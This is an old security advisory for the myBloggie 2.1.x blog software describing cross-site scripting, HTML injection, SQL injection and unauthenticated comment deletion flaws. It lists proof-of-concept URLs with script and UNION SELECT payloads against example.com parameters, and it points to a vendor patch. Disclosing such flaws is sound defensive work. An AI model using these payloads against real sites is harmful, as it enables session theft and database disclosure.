MyBloggie Multiple Input Validation Vulnerabilities

Bugtraq ID:	13507
Class:	Input Validation Error
CVE:
Remote:	Yes
Local:	No
Published:	May 05 2005 12:00AM
Updated:	May 05 2005 12:00AM
Credit:	Discovery is credited to Alberto Trivero <[email protected]>.
Vulnerable:	myWebland myBloggie 2.1.2 myWebland myBloggie 2.1.1
Not Vulnerable:

MyBloggie Multiple Input Validation Vulnerabilities

myBloggie is affected by multiple vulnerabilities.

An attacker may leverage these issues to carry out cross-site scripting, HTML injection and SQL injection attacks against the affected application. This may result in the theft of authentication credentials, destruction or disclosure of sensitive data, and potentially other attacks. The integrity of a site may be compromised by deleting arbitrary comments as well.

MyBloggie Multiple Input Validation Vulnerabilities

An exploit is not required. The following proof of concept examples are available:

Cross-site scripting:
http://www.example.com/mybloggie/index.php?month_no=3&year=%3Cscript%3Ealert
(document.cookies)%3C/script%3E

HTML injection:
http://www.example.com/mybloggie/index.php?mode=viewcat&cat_id=%3C%73%63%72%
69%70%74%3E%61%6C%65%72%74%28%64%6F%63%75%6D%65%6E%74%2E%63%6F%6F%6B%69%65%2
9%3C%2F%73%63%72%69%70%74%3EC

http://www.example.com/mybloggie/index.php?mode=viewmonth&month_no=%3C%73%63
%72%69%70%74%3E%61%6C%65%72%74%28%64%6F%63%75%6D%65%6E%74%2E%63%6F%6F%6B%69%
65%29%3C%2F%73%63%72%69%70%74%3E

http://www.example.com/mybloggie/index.php?mode=viewid&post_id=%3C%73%63%72%
69%70%74%3E%61%6C%65%72%74%28%64%6F%63%75%6D%65%6E%74%2E%63%6F%6F%6B%69%65%2
9%3C%2F%73%63%72%69%70%74%3E

SQL injection:
http://www.example.com/mybloggie/index.php?mode=search&keyword=trivero%'%20U
NION%20SELECT%20null/*

http://www.example.com/mybloggie/index.php?month_no=1&year=1&mode=viewdate&d
ate_no=1%20UNION%20SELECT%20null,null,null,null,null,null,null,null,null,nul
l/*

http://www.example.com/mybloggie/index.php?mode=viewcat&cat_id=1%20UNION%20S
ELECT%20null,null,null,null,null,null,null,null,null,null/*

http://www.example.com/mybloggie/index.php?mode=viewmonth&month_no=1%20UNION
%20SELECT%20null,null,null,null,null,null,null,null,null,null/*

http://www.example.com/mybloggie/index.php?mode=viewmonth&month_no=1&year=1%
20UNION%20SELECT%20null,null,null,null,null,null,null,null,null,null/*

http://www.example.com/mybloggie/index.php?mode=viewid&post_id=1%20UNION%20S
ELECT%20null,null,null,null,null,null,null,null,null,null/*

Comment deletion:
http://www.example.com/mybloggie/index.php?mode=delcom&comment_id=[comment_i
d]&confirm=yes

Alberto Trivero - codebug.org has supplied the following exploit for the SQL injection vulnerability:

• /data/vulnerabilities/exploits/myBloggie211exp.pl

MyBloggie Multiple Input Validation Vulnerabilities

Solution:
Patches from the vendor are available at the following location:

http://mywebland.com/forums/viewtopic.php?t=180

MyBloggie Multiple Input Validation Vulnerabilities

References:

• Homepage (myWebland)
  
• Multiple vulnerabilities in myBloggie 2.1.1 ("Alberto Trivero" )